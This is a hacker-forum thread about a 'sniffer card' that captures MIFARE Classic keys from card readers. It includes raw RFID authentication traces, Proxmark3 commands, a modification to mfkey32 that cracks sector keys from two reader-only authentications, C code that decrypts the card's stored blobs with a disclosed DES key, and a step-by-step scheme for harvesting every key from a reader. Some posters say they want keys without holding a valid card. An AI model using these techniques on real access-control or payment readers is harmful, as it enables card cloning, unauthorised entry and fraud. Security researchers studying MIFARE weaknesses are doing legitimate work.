Research, development and trades concerning the powerful Proxmark3 device.
Remember; sharing is caring. Bring something back to the community.
"Learn the tools of the trade the hard way." +Fravia
You are not logged in.
Time changes and with it the technology
Proxmark3 @ discord
Users of this forum, please be aware that information stored on this site is not private.
0xFFFF have you tried only writing the same UID as the original and present to the reader with default key?
and with the same UID and the same info in some block that you know the reader read (the block has to be writing as same as the original but with a default key for example????
what happened in those cases???? have you tried???
I know moebius what are you saying but it's strange the used of the UID.
if is only a sniffer it could be a passive sniffer it dosen´t need to used the UID
Offline
i think you have post the answer
i was late
Offline
0xFFFF have you tried only writing the same UID as the original and present to the reader with default key?
and with the same UID and the same info in some block that you know the reader read (the block has to be writing as same as the original but with a default key for example????
One thing that I didn't make clear earlier is that the captured key is not visible on the "magic card" in any of the sectors. The information is stored elsewhere. When you use the software to 'Get key', you will get a result similar to:
Sector:xx Block:xx
KeyA:xxxxxxxxxxxx
If I do just as you said, the reader will fail to authenticate with the "magic card".
What I would have to do is:
Present the "magic card" followed by a known working card
Read the captured key from the "magic card"
Use the captured key to authenticate with the known working card and read the sector data
Read the UID of the known working card
Write the sector data and the key to the "magic card"
Write the UID to the "magic card"
Use the "magic card" on the reader.
Offline
This is a fairly simple hack - pretend to BE a MiFare card, let the reader send the Auth request with the Keys and just store the keys for later viewing.
Offline
This is a fairly simple hack - pretend to BE a MiFare card, let the reader send the Auth request with the Keys and just store the keys for later viewing.
Nope Robert.. the reader never sends the key in plain!
Offline
Yeah, you're right, I was too quick on the keyboard. Only the key selector is sent. So if this card works, it's a pretty slick solution.
Offline
OK, so finally my "Super Ultra Mifare Sniffer card" has arrived.
First, I have to say that the seller "forgot" to send me the two uid changeable Ultralights (which I paid for, of course)... I asked him to send them again... I've got no answer yet.
Regarding the "Supper card" or "Sniffer card"... it looks like an UID changeable mifare, all white but a bit thin than a normal one, just like the one I said...
In my first test, I used a common ACR122U and put the sniffercard (SC) on it... green light, all seems fine...
I tried two auths in a row, with key DDDDDDDDDDDD and of course, both auths failed (the card came with FF's by default)...
Then, using the proggie (which only accepts the ACR) I was able to get the key! so I can say it's working as promised...
This is an output written to a text file, just next to the executable:
Sector:02 Block:08
KeyA:DDDDDDDDDDDD
OK then, so it's using the "reader-only" attack, the "ks2 only" attack, or whatever you want to call it...
You can find some traces of info regarding the attack in many papers since the first hack of the mifare crypto1 proto, but with poor PoC's with code, etc...
I tried to decompiled with hexrays and IDA (there's a pseudo-c code that someone already uploaded to iNet) and learn from it, but with no luck...
Then I tried to modify the crapto1 soft which takes also ks3 (tag response) and while doing that, I came across mfkey32.c under proxmark tools directory... and voilà! it's a little proggie which uses only ks2, by the use of two different pieces of 32bits info to revert the lfsr... BUT wait! the program only accepts ONE tag nonce, so I said... this sniffer card always send the same nonce and run this attack to crack the key... so I started sniffing different txrx with it... so, see below:
Two different rejected auths...
+ 62: 0: TAG 04 00
+ 1480: : 93 70 00 00 00 00 00 9c d9
+ 66: 0: TAG 08 b6 dd
+ 10388: : 60 12 66 48
+ 359: 0: TAG 04 27 1d 23
+ 668: : 6c c0 52 e3 af 72 50 26 !crc
+ 52131: : 52
+ 62: 0: TAG 04 00
+ 1480: : 93 70 00 00 00 00 00 9c d9
+ 66: 0: TAG 08 b6 dd
+ 10: 0: TAG 6c c0 52 e3 af 72 50 26 38 30
+1375512: : 52
+ 4752: : 52
+ 64: 0: TAG 04 00
+ 1483: : 93 70 00 00 00 00 00 9c d9
+ 63: 0: TAG 08 b6 dd
+ 10382: : 60 13 ef 59
+ 318: 0: TAG 05 97 9c c4
+ 666: : 65 fc bd 43 47 c6 3c 7f !crc
+ 52128: : 52
+ 66: 0: TAG 04 00
+ 1480: : 93 70 00 00 00 00 00 9c d9
+ 64: 0: TAG 08 b6 dd
+ 12: 0: TAG 65 fc bd 43 47 c6 3c 7f 75 15
+1375523: : 52
+ 4755: : 52
=========================================
What the proggie is sneding to retrive the key... BBFFFFFFFFFF
+ 1710: : 93 70 00 00 00 00 00 9c d9
+ 238: 0: TAG 1d!
+ 189448: : 52
+ 4748: : 52
+ 1712: : 93 70 00 00 00 00 00 9c d9
+ 189759: : 52
+ 4750: : 52
+ 1712: : 93 70 00 00 00 00 00 9c d9
+ 162: 0: TAG 56 3b
+ 189448: : 52
+ 4752: : 52
+ 64: 0: TAG 04 00
+ 1487: : 93 70 00 00 00 00 00 9c d9
+ 95387: : 26
+ 20412: : 93 20
+ 7200: : 93 70 00 00 00 00 00 9c d9
+ 64: 0: TAG 08 b6 dd
+ 5979: : e0 50 bc a5
+ 191: 0: TAG 09 78 00 91 02 da bc 19 !crc
+ 38: 0: TAG 00 5f! 08
+ 7802: : 0a 00 00 a6 b0 00 10 14 1d
+ 1022: 0: TAG c3 c9! 43! d2 cc 7d! f2! 82! cb 45! 88! 46 ba! f3 a0! d5 c8 80! a6! bf !crc
+ 8916: : 0b 00 00 a6 b0 01 10 19 9b
+ 770978: : 0a 00 00 a6 c0 00 00 4d 8d
+1382868: : 52
+ 4752: : 52
+ 4756: : 52
+ 4752: : 52
==========================================
what the proggie is sending to retrieve the key... 000000000000
+ 66: 0: TAG 04 00
+ 21291: : 93 20
+ 63: 0: TAG 00 00 00 00 00
+ 6758: : 93 70 00 00 00 00 00 9c d9
+ 62: 0: TAG 08 b6 dd
+ 5920: : e0 50 bc a5
+ 194: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05
+ 8108: : 0a 00 00 a6 b0 00 10 14 1d
+ 872: 0: TAG 0a 00 d6 80 f8 d7 75 bb dd f1 ec f7 d6 0d 5c a0 72 52 90 00 f0 e2
+ 9667: : 0b 00 00 a6 b0 01 10 19 9b
+ 882: 0: TAG 05! 80 b6 0d! 2b 36! dc b5 f8! 47! 75! 7b c0! 2c! 77 09! da df c8 80! c9 d2! !crc
+ 494638: : 0a 00 00 a6 c0 00 00 4d 8d
+ 9742: 0: TAG 0a 00 90 00 f3 93
==========================================
I also tried to authenticate using the same to two different sectors, and It successfully managed to crack the key... (of course.. the attack doesn't care about that...)
==========================================
=================================================
two auths using DDDDDDDDDDDD as key
+ 66: 0: TAG 04 00
+ 1480: : 93 70 00 00 00 00 00 9c d9
+ 64: 0: TAG 08 b6 dd
+ 10391: : 60 08 bd f7
+ 359: 0: TAG a1 da 88 b1
+ 667: : 19 93 51 ac d2 54 93 77 !crc
+ 52130: : 52
+ 64: 0: TAG 04 00
+ 1483: : 93 70 00 00 00 00 00 9c d9
+ 10690: : 60 22 e5 79
+ 318: 0: TAG a0 6a 09 56
+ 667: : 8f 17 bd 9d 6b 41 13 c2 !crc
+ 52136: : 52
and now trying to retrieve the key:
+ 21618: : 93 20
+ 62: 0: TAG 00 00 00 00 00
+ 6752: : 93 70 00 00 00 00 00 9c d9
+ 66: 0: TAG 08 b6 dd
+ 5876: : e0 50 bc a5
+ 192: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05
+ 7899: : 0a 00 00 a6 b0 00 10 14 1d
+ 12144: : 0b 00 00 a6 b0 01 10 19 9b
+ 874: 0: TAG 0b 00 68 6b 6c 05 c7 6c e1 0d fa 87 61 a0 df b0 00 7a 90 00 c9 ef
+ 577615: : 0a 00 00 a6 c0 00 00 4d 8d
==========================================================
again with DDDDDDDDDDDD (blocks 8 and 22)
+ 62: 0: TAG 04 00
+ 1480: : 93 70 00 00 00 00 00 9c d9
+ 66: 0: TAG 08 b6 dd
+ 10380: : 60 08 bd f7
+ 360: 0: TAG 7d f0 ee e5
+ 668: : b0 76 f4 d0 83 84 29 88 !crc
+ 52131: : 52
+ 1714: : 93 70 00 00 00 00 00 9c d9
+ 10692: : 60 22 e5 79
+ 320: 0: TAG 7c 40 6f 02
+ 668: : 16 e1 d7 0e 60 4d e4 10 !crc
+ 52135: : 52
getting the key again...:
+ 62: 0: TAG 04 00
+ 20944: : 93 20
+ 66: 0: TAG 00 00 00 00 00
+ 7856: : 93 70 00 00 00 00 00 9c d9
+ 6222: : e0 50 bc a5
+ 418: 0: TAG 48! 01 6d 5e! 0c! 08 f8! 82! !crc
+ 8000: : 0a 00 00 a6 b0 00 10 14 1d
+ 874: 0: TAG 0a 00 6d 15 21 50 12 51 e8 d4 f6 d3 e4 26 10 30 8c fe 90 00 3a cf
+ 9468: : 0b 00 00 a6 b0 01 10 19 9b
+ 872: 0: TAG 0b 00 d2 84 a0 f6 88 12 bd cd dd 64 90 8a 7a 7e a9 c1 90 00 e2 bd
+ 549018: : 0a 00 00 a6 c0 00 00 4d 8d
+ 9746: 0: TAG 0a 00 90 00 f3 93
+1372672: : 52
===============================================================
same as above...:
+ 64: 0: TAG 04 00
+ 1483: : 93 70 00 00 00 00 00 9c d9
+ 63: 0: TAG 08 b6 dd
+ 10390: : 60 08 bd f7
+ 358: 0: TAG 6f ef 22 1e
+ 666: : bd 3e 0c a5 d5 e8 44 cc !crc
+ 52128: : 52
+ 66: 0: TAG 04 00
+ 1480: : 93 70 00 00 00 00 00 9c d9
+ 64: 0: TAG 08 b6 dd
+ 10387: : 60 22 e5 79
+ 319: 0: TAG 6e 5f a3 f9
+ 667: : c7 4f 96 4a 22 69 7f 3d !crc
+ 52142: : 52
getting the key again key:
+ 62: 0: TAG 04 00
+ 21084: : 93 20
+ 7404: : 93 70 00 00 00 00 00 9c d9
+ 6430: : e0 50 bc a5
+ 190: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05
+ 7568: : 0a ff fe !crc
+ 1310: 0: TAG 0a 00 2c a0 90 97 d4 67 a8 2c 43 14 b8 2d 54 8d 6a 2a 90 00 79 2a
+ 9664: : 0b 00 00 a6 b0 01 10 19 9b
+ 864: 0: TAG 0b 00 1d 55 50 a8 ff 53 82 86 25 8f 53 fd 5f 27 31 c4 90 00 ac f0
+ 892858: : 0a 00 00 a6 c0 00 00 4d 8d
+ 9746: 0: TAG 0a 00 90 00 f3 93
+1372676: : 52
=======================
So well, I really don't know what the hell this proggie is doing but it's doing it right.
BUT, as you can see, it's not using the same tag nonce in every auth so the attack in mfkey32 won't work...
One thing I noticed is that if you XOR both tag nonces, you'll always get the same difference... that is kind of weird for me right now..
Well, so my last effort was to try to modify mfkey to use two different tag nonces... and it was really easy to have some working version...
you need to add a new var, called nt1 and change this part of the code:
crypto1_get_lfsr(t, &key);
crypto1_word(t, uid ^ nt1, 0); ----> here!
crypto1_word(t, nr1_enc, 1);
and compare the second ar (ar1) with nt1's such, like this:
if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64)
so, basically, with the first auth you'll have 32bits of info with 65535 different keys in a bag... then you have to compare every single possible key of that bag rolling back the state and trying to encrypt the second auth info... if both match, then the key is the one you're trying in that moment... let me show you some verbose output:
kandinsky:mfcrack moebius$ ./32_mod 00000000 d469d535 d5d954d2 8b2c6105 ea57c556 3805e1ef 59c7f613
MIFARE Classic key recovery - based 32 bits of keystream
Recover key from two 32-bit reader authentication answers only!
Recovering key for:
uid: 00000000
nt: d469d535
nt1: d5d954d2
{nr_0}: 8b2c6105
{ar_0}: ea57c556
{nr_1}: 3805e1ef
{ar_1}: 59c7f613
Keystream used to generate {ar} and {at}:
ks2: 5cf59d0d
{ar_1}: 1506276883
trying Key: [755071e4ec2c]
{ar_1}: 1506276883
trying Key: [306280c79cca]
{ar_1}: 1506276883
trying Key: [108b59f15e2b]
..... ..... .... a lot of comparisons here....
and finally...
trying Key: [999999999999]
Found Key: [999999999999]
so well, now we only need to approach to a legit reader twice and get one key from it...
One cool idea is to use the proxmark mifare classic emulator to put it in that state (maybe in standalone mode , with a random key, and approach it to a legit reader and wait for two different readings and save that to big buff or something non volatile (do we have something non volatile in proxmark to save some bytes in it?... sorry for this noob question here and then code the thing I described above inside it, just to recover the first key... the 80USD sniffercard but inside the proxmark
finally, some thoughts.. yes, we already have the possibility to do "mostly" the same thing just using a legit card too and sniff a full txrx k1, k2, k3, etc... maybe someone here can share some situation where this "partial" attack is useful, whatever...
(here's one) ---> there's a key diversification algorithm running on a system and you want to try to reverse eng. it... using this attack and if the key diversification algo is based only on the uid, you can run a lot of different partial auth's using many different uid's on each (of course, you'll need two per uid) getting the key for each uid for later analysis...
well, thank you for reading all of this! cheers and hope yo've found this post useful sorry for typo's, bad spelling, poor english, blah blah
enjoy!
Offline
Hi,
I have some traces "how it works".
Command "Set UID" uses traditional way to write block. But the block = block0.
proxmark3> hf mf rdbl 0 a ffffffffffff
--block no:00 key type:00 key:ff ff ff ff ff ff
#db# READ BLOCK FINISHED
isOk:01 data:00 00 00 11 11 88 04 00 47 4d 64 d2 55 10 51 07
proxmark3> hf mf wrbl 0 a ffffffffffff 0000111111880400474d64d255105107
--block no:00 key type:00 key:ff ff ff ff ff ff
--data: 00 00 11 11 11 88 04 00 47 4d 64 d2 55 10 51 07
#db# WRITE BLOCK FINISHED
isOk:01
trace:
+ 0: : 26
+ 62: 0: TAG 04 00
+ 688: : 93 20
+ 66: 0: TAG 00 00 11 11 00
+ 1984: : 93 70 00 00 11 11 00 9c 8a
+ 64: 0: TAG 08 b6 dd
+ 13063: : 60 00 f5 7b
+ 367: 0: TAG 60 d8 b7 6b
+ 667: : a0 3b 8d 13 78 ef 2d 7d !crc
+ 79: 0: TAG 98! b9 96! cd
+ 10468: : 0b 05 3b 63 !crc
+ 466: 0: TAG 00!
+ 2016: : 1d 6e f5 01 5b 24 72 86 7f 0a 86 b9 45 e6 2c 41 b4 f5 !crc
+ 3840: 0: TAG 0d
command "Get Key":
trace with error (not found key)
+ 0: : 26
+ 62: 0: TAG 04 00
+ 22656: : 93 20
+ 64: 0: TAG 00 00 01 11 10
+ 7555: : 93 70 00 00 01 11 10 88 1f
+ 63: 0: TAG 08 b6 dd
+ 6502: : e0 50 bc a5
+ 198: 0: TAG 09 78 00 91 02 da bc 19 10 f0 05
+ 8296: : 0a 00 00 a6 00 00 10 56 97
+ 536: 0: TAG 0a 00 6d 00 83 5f
+ 8335: : 0b 00 00 a6 00 01 10 5b 11
+ 535: 0: TAG 0b 00 6d 00 38 43
+ 7522: : 50 00 57 cd
proxmark3>
Last edited by merlok (2013-08-13 16:30:54)
Offline
Hi, quick question for Moebius based on his post, you say that the super card will only store the key of successful authentications, yet you say that you used DDDDDD and got failed auth for a blank FF key and the super card STILL stored the key?
"I tried two auths in a row, with key DDDDDDDDDDDD and of course, both auths failed (the card came with FF's by default)...
Then, using the proggie (which only accepts the ACR) I was able to get the key! so I can say it's working as promised...
This is an output written to a text file, just next to the executable:
Sector:02 Block:08
KeyA:DDDDDDDDDDDD"
I want to use this sniffer to get the Key sent without a valid card. For valid cards I can simply crack the keys, but without a valid card this sniffer is MUCH more useful.
Can you clarify if you got the key without a successful auth on the card?
Offline
Hi, quick question for Moebius based on his post, you say that the super card will only store the key of successful authentications
Nope! There were 2 unsuccessful auth's! Because I simulated a legit reader with an internal "all D's key" (this is the key we want to get) but the SupperCard is filled with FF's ... and then get the D's key using the provided soft by the Chinese seller.
This is useful if you don't have a valid card, that's right... that's why we can call this attack "reader-only" attack...
Of course, if you own a proxmark you can run this attack as well... but this little card is handy
cheers.
Offline
Thanks for the reply. Got the card but no software with it!
Do you have a link to the download location?
Offline
Hey, ask the seller! The link that I had is broken. He must send you the soft with the card.
Maybe this weekend I'm releasing an open source code to use the supper card with any reader with libnfc.
Thanks!
Offline
Can this card read out multiple keys using sniff
For example reader reads 1, 2, 3 sector.
I need keys from all 3 sectors (Mifare Plus SL1 Crypto-1 card, mfoc don`t work).
Offline
Hi moebius,
Any progress for the open source code?
Thank You
hey!
I've done only the 1% of the code and the other 99% was done by a guy from this forum by I need to keep his ID private, sorry.
You'll need to Sniff the Reader->card tx (there are two comm's) and decode the reader<-card data with:
DES_cblock key = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
.. so using libnfc just send both frames and decrypt the received bytes using that des key.
oh! and read my other post about this attack internals... you'll need that info to get the key (reader only attack)
good luck!
Offline
Can this card read out multiple keys using sniff
For example reader reads 1, 2, 3 sector.
I need keys from all 3 sectors (Mifare Plus SL1 Crypto-1 card, mfoc don`t work).
Nope, You'll able to retrieve the first key for the first auth only. And of course, if crypto1 was used to run the 3waymut.
If you want to recover multiple keys, you might use the mifare emulator capabilities of the proxmark and emulate some behaviour to get other keys, but, I'm just guessing the attack...
good luck!
Offline
clayer wrote:Can this card read out multiple keys using sniff
For example reader reads 1, 2, 3 sector.
I need keys from all 3 sectors (Mifare Plus SL1 Crypto-1 card, mfoc don`t work).Nope, You'll able to retrieve the first key for the first auth only. And of course, if crypto1 was used to run the 3waymut.
If you want to recover multiple keys, you might use the mifare emulator capabilities of the proxmark and emulate some behaviour to get other keys, but, I'm just guessing the attack...
good luck!
Does Proxmark snoop will reslove my problem?
Can this done with standalone mode?
Offline
This is really cool ... just tested it (the mfcrack32), it's simpler to extract the keys from the reader than crack the card . Definitely something that must be plugged into the main proxmark code.
Offline
hey holiman, yeap! have you tested mfcrack32 or my modified version?
with mfcrack32 you need to keep the tag nonce fixed in both transactions, in my version, you can sniff two different *any card* transactions and that's all
Offline
I used the 'vanilla' one, but if your version works, that's even better
Offline
sorry, but, which is the 'vanilla' one? and if it's using the same tag nonce, how did you fix it? with an emu?
cheers! and try my version, it's working of course
Offline
where your version can be downloaded?
Offline
clayer, check post #57. I'm explaining there what you have to do to modify mfkey32 in order to do that
Offline
@moebius, by 'vanilla' I mean the non-modified version in the source code. I found the data from the pm3-logfile after having done a few 'hf mf sim' and 'hf 14a list'.
Offline
See http://www.proxmark.org/forum/viewtopic.php?pid=9447#p9447
Offline
This card works. I just got one from a Chinese distributor.
Pretty easy, as we can call it a dummy's tool. No need to learn anything.
I think they might reconfigured the card structure with special blocks which can save communication data.
Offline
Seemingly have a new version of the software,
title named "Sniffer Card Tool 1.1", I don't know is it a newer version.
if anyone has this, may you send it to me for some experiment/disassembly?
thanks much.
Offline
if you have a version of the software, how about sharing it?
Offline
I do not have this version, I hope someone can contribute :')
Offline
I have the Sniffer Card Tool 1.1, it's certainly not new though, almost a year old?
Does the older version actually work reliably?
I mostly get errors or a crash when trying to recover the key...
Offline
I think old version is OK.
However, Can you send the file to me? please!! thanks!
Offline
I can't seem to find a way to pm you and didn't want to post the link publicly, how can I get the file to you?
Offline
Thank you very much!! My e-mail is: gavin54321 at gmail.c*m
Offline
the software seems is a outdated semi-old version, and also get error or crash when trying to recover the key (message ""Sniffer Key Error,Please try Again.). by google images, I found a picture shows it is a about 397 KB file, but my file is 359KB, If there is a correct file, I wash implore to sent to me. thank you very much!
Offline
I it would be good to fully document and create a key extractor within the proxmark client. Preferably also as an app, integration with the MCT app would be great!
To summarize/reproduce the traces above with pm3:
First sent RATS:
proxmark3> hf 14a raw -p -s e0 50 bc a5
received 4 octets
00 00 00 00
received 11 octets
09 78 00 91 02 DA BC 19 10 F0 05
Read blob 1:
proxmark3> hf 14a raw -p 0a 00 00 a6 b0 00 10 14 1d
received 22 octets
0A 00 EE ED B2 79 19 72 D1 21 63 E8 64 C9 51 B2 2D CE 90 00 D7 4A
Read blob 2:
proxmark3> hf 14a raw -p 0b 00 00 a6 b0 01 10 19 9b
received 22 octets
0B 00 61 27 87 61 CC E9 8B 4D EE 33 76 1F 62 BD DF 77 90 00 47 E7
Next up is to do DES decoding (per moebius post; key {1,2,3,4,5,6,7,8}) and figure out which parts are used for the mfkey cracking.
Offline
clayer wrote:Can this card read out multiple keys using sniff
For example reader reads 1, 2, 3 sector.
I need keys from all 3 sectors (Mifare Plus SL1 Crypto-1 card, mfoc don`t work).Nope, You'll able to retrieve the first key for the first auth only. And of course, if crypto1 was used to run the 3waymut.
Is it verified that only the first auth is captured, and not the last? (i.e. first auth is successful, but second auth fails).
If you have a card, consider this feedback procedure:
1. Clone the ID from real to sniffer card
2. Let sniffer card capture the key
3. Use key to read data from real card
4. Write data + key to sniffer card
Now, when the card is presented again, the reader will successfully read the first sector, all is OK, and reader proceeds to the next sector, but fails authentication.
So, perhaps, the card then captures the last autentication attempt, these keys can be extracted, and this process can be repeated until all keys are extracted.
Offline
You'll need to Sniff the Reader->card tx (there are two comm's) and decode the reader<-card data with:
DES_cblock key = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
Trying to decrypt the key responses to identify mfkey parameters, but somethings wrong...
First, the card is read twice, and I get tag nonces 8d 1b c3 a6 and c7 75 a0 65 which I would expect to be found in cleartext later on.
proxmark3> hf mf rdbl 6 A ABCDABCDABCD
--block no:6, key type:A, key:ab cd ab cd ab cd
#db# Authentication failed. Card timeout.
#db# Auth error
#db# READ BLOCK FINISHED
isOk:00
proxmark3> hf 14a list
Recorded Activity
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
All times are in carrier periods (1/13.56Mhz)
Start | End | Src | Data
-----------|-----------|-----|--------
0 | 992 | Rdr | 52
2228 | 4596 | Tag | 04 00
7040 | 9504 | Rdr | 93 20
10676 | 16500 | Tag | 00 00 00 00 00
18944 | 29472 | Rdr | 93 70 00 00 00 00 00 9c d9
30644 | 34164 | Tag | 08 b6 dd
35840 | 40544 | Rdr | 60 06 c3 1e
46644 | 51316 | Tag | 8d 1b c3 a6
60544 | 69856 | Rdr | 29 47 72 ab ff 6a df d6 !crc
proxmark3> hf mf rdbl 6 A ABCDABCDABCD
--block no:6, key type:A, key:ab cd ab cd ab cd
#db# Authentication failed. Card timeout.
#db# Auth error
#db# READ BLOCK FINISHED
isOk:00
proxmark3> hf 14a list
Recorded Activity
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
All times are in carrier periods (1/13.56Mhz)
Start | End | Src | Data
-----------|-----------|-----|--------
0 | 992 | Rdr | 52
2228 | 4596 | Tag | 04 00
7040 | 9504 | Rdr | 93 20
10676 | 16500 | Tag | 00 00 00 00 00
18944 | 29472 | Rdr | 93 70 00 00 00 00 00 9c d9
30644 | 34164 | Tag | 08 b6 dd
35840 | 40544 | Rdr | 60 06 c3 1e
46644 | 51316 | Tag | c7 75 a0 65
60544 | 69856 | Rdr | 8a 8c 21 4e ce 10 27 fb !crc
proxmark3>
Getting the blobs:
proxmark3> hf 14a raw -p -s e0 50 bc a5
received 4 octets
00 00 00 00
received 11 octets
09 78 00 91 02 DA BC 19 10 F0 05
proxmark3> hf 14a raw -p 0a 00 00 a6 b0 00 10 14 1d
received 22 octets
0A 00 49 63 71 FE A7 AF 35 C0 ED D3 90 C5 7B 70 B2 D8 90 00 46 EB
proxmark3> hf 14a raw -p 0b 00 00 a6 b0 01 10 19 9b
received 22 octets
0B 00 89 75 4E 07 FF CD 97 AC 5A 88 B4 77 95 02 6F AF 90 00 48 0D
Creating a DES-decryption program:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <openssl/des.h>
int main() {
char a[]={0x0A, 0x00, 0x49, 0x63, 0x71, 0xFE, 0xA7, 0xAF, 0x35, 0xC0, 0xED, 0xD3, 0x90, 0xC5, 0x7B, 0x70, 0xB2, 0xD8, 0x90, 0x00, 0x46, 0xEB};
char b[]={0x0B, 0x00, 0x89, 0x75, 0x4E, 0x07, 0xFF, 0xCD, 0x97, 0xAC, 0x5A, 0x88, 0xB4, 0x77, 0x95, 0x02, 0x6F, 0xAF, 0x90, 0x00, 0x48, 0x0D};
unsigned char *decrypted1,*decrypted2;
int n=0;
DES_cblock key={0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
DES_key_schedule schedule;
DES_set_odd_parity( &key );
DES_set_key_checked( &key, &schedule );
DES_cfb64_encrypt( ( unsigned char * ) a, ( unsigned char * ) decrypted1, sizeof(a), &schedule, &key, &n, DES_DECRYPT );
DES_cfb64_encrypt( ( unsigned char * ) b, ( unsigned char * ) decrypted2, sizeof(b), &schedule, &key, &n, DES_DECRYPT );
for (int i =0; i<sizeof(a); i++) {
printf("%02x ", decrypted1[i]);
}
printf("\n");
for (int i =0; i<sizeof(b); i++) {
printf("%02x ", decrypted2[i]);
}
printf("\n");
return (0);
Then, finally:
$ clang des2.c -lcrypto -Wno-deprecated-declarations
$ ./a.out
8a a1 ae ed 55 27 47 97 cc 9c d6 b4 5d ee 64 f1 a5 23 33 6a 4c a4
97 25 e7 ca 6d 7d 29 25 46 3f f1 d7 26 5f 97 8f 97 d7 1c ec 55 50
... in where I cant identify any of the bytes from the hf 14a list dump.
Thinking further: there are many DES-modes. Is cfb64 (as I just reused from an old project) used or something else?
Offline
Thinking further: there are many DES-modes. Is cfb64 (as I just reused from an old project) used or something else?
Aha. It's ECB-mode, with the first two bytes stripped.
Working code:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <openssl/des.h>
int main() {
char a[]={0x49, 0x63, 0x71, 0xFE, 0xA7, 0xAF, 0x35, 0xC0, 0xED, 0xD3, 0x90, 0xC5, 0x7B, 0x70, 0xB2, 0xD8, 0x90, 0x00, 0x46, 0xEB};
char b[]={0x89, 0x75, 0x4E, 0x07, 0xFF, 0xCD, 0x97, 0xAC, 0x5A, 0x88, 0xB4, 0x77, 0x95, 0x02, 0x6F, 0xAF, 0x90, 0x00, 0x48, 0x0D};
unsigned char *decrypted1,*decrypted2;
decrypted1=malloc(sizeof(a));
decrypted2=malloc(sizeof(b));
int n=0;
DES_cblock key={0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
DES_key_schedule schedule;
DES_set_odd_parity( &key );
DES_set_key_checked( &key, &schedule );
DES_ecb_encrypt( ( unsigned char * ) a, ( unsigned char * ) decrypted1, &schedule, DES_DECRYPT );
DES_ecb_encrypt( ( unsigned char * ) a+8, ( unsigned char * ) decrypted1+8, &schedule, DES_DECRYPT );
DES_ecb_encrypt( ( unsigned char * ) a+16, ( unsigned char * ) decrypted1+16, &schedule, DES_DECRYPT );
DES_ecb_encrypt( ( unsigned char * ) b, ( unsigned char * ) decrypted2, &schedule, DES_DECRYPT );
DES_ecb_encrypt( ( unsigned char * ) b+8, ( unsigned char * ) decrypted2+8, &schedule, DES_DECRYPT );
DES_ecb_encrypt( ( unsigned char * ) b+16, ( unsigned char * ) decrypted2+16, &schedule, DES_DECRYPT );
for (int i =0; i<sizeof(a); i++) { printf("%02x ", decrypted1[i]); }
printf("\n");
for (int i =0; i<sizeof(b); i++) { printf("%02x ", decrypted2[i]); }
printf("\n");
return (0);
}
Output
./a.out
00 00 00 00 60 06 cb d4 29 47 72 ab ff 6a df d6 b0 29 7c 9e
00 00 00 00 60 06 30 bf 8a 8c 21 4e ce 10 27 fb 81 77 cd 41
So there's the card id (00 00 00 00)
Key A or Key B (60 or 61)
Sector 6 was read.
Then two unknown bytes (cb d4)
and the reader response (29 47 72 ab ff 6a df d6)
followed by garbage? (b0 29 7c 9e)
And correspondingly for the second reading.
But where's the tag nonce (8d 1b c3 a6)?
Offline
Hi;
What happens to this Super Card? Any further updates? (or I getting into wrong dates again);
Offline
Hi;
What happens to this Super Card? Any further updates? (or I getting into wrong dates again);
I think the tag nonce should be extractable by "0a 00 00 a6 c0 00 00 4d 8d" (the third communication seen in moebius excellent dump traces) however my card seems a bit buggy and has never responded to this sequence. However the supercard software managed to do one extraction (but failed when I tried to extract a second time directly afterwards, very strange, read response is consistently extracted however!).
I'm also working on an android app to do the extraction and possibly also key unrolling. I hope it can be integrated into MCT later on.
Offline
This thread main subject talking about the Super Card is about dead. No one knows if the card is dead or alive? If the thread is dead, I think should close it. I think there are many threads to be closed and some tidying and cleaning up jobs to be done, unless they are kept just to reminiscent the past community glory.
For example this proxmark.org download page will lead you into old superseded download page and updated downloads done by others are to be done in sendspace.
Offline
This thread main subject talking about the Super Card is about dead. No one knows if the card is dead or alive? If the thread is dead, I think should close it. I think there are many threads to be closed and some tidying and cleaning up jobs to be done, unless they are kept just to reminiscent the past community glory.
For example this proxmark.org download page will lead you into old superseded download page and updated downloads done by others are to be done in sendspace.
I don't agree. Technical forums are different from social forums; and being a low-activity board overall of course contributes to posting delays, but I would not consider (at least) this thread to be dead.
Offline
Then two unknown bytes (cb d4)
...
But where's the tag nonce (8d 1b c3 a6)?
This two bytes is the tag nonce. This is offset on table (65536 x 4 bytes) in original сhinese program
Offline
OK, so finally my "Super Ultra Mifare Sniffer card" has arrived.
First, I have to say that the seller "forgot" to send me the two uid changeable Ultralights (which I paid for, of course)... I asked him to send them again... I've got no answer yet.
Regarding the "Supper card" or "Sniffer card"... it looks like an UID changeable mifare, all white but a bit thin than a normal one, just like the one I said...
In my first test, I used a common ACR122U and put the sniffercard (SC) on it... green light, all seems fine...
I tried two auths in a row, with key DDDDDDDDDDDD and of course, both auths failed (the card came with FF's by default)...
Then, using the proggie (which only accepts the ACR) I was able to get the key! so I can say it's working as promised...
This is an output written to a text file, just next to the executable:
Sector:02 Block:08
KeyA:DDDDDDDDDDDDOK then, so it's using the "reader-only" attack, the "ks2 only" attack, or whatever you want to call it...
You can find some traces of info regarding the attack in many papers since the first hack of the mifare crypto1 proto, but with poor PoC's with code, etc...
I tried to decompiled with hexrays and IDA (there's a pseudo-c code that someone already uploaded to iNet) and learn from it, but with no luck...
Then I tried to modify the crapto1 soft which takes also ks3 (tag response) and while doing that, I came across mfkey32.c under proxmark tools directory... and voilà! it's a little proggie which uses only ks2, by the use of two different pieces of 32bits info to revert the lfsr... BUT wait! the program only accepts ONE tag nonce, so I said... this sniffer card always send the same nonce and run this attack to crack the key... so I started sniffing different txrx with it... so, see below:
Two different rejected auths...
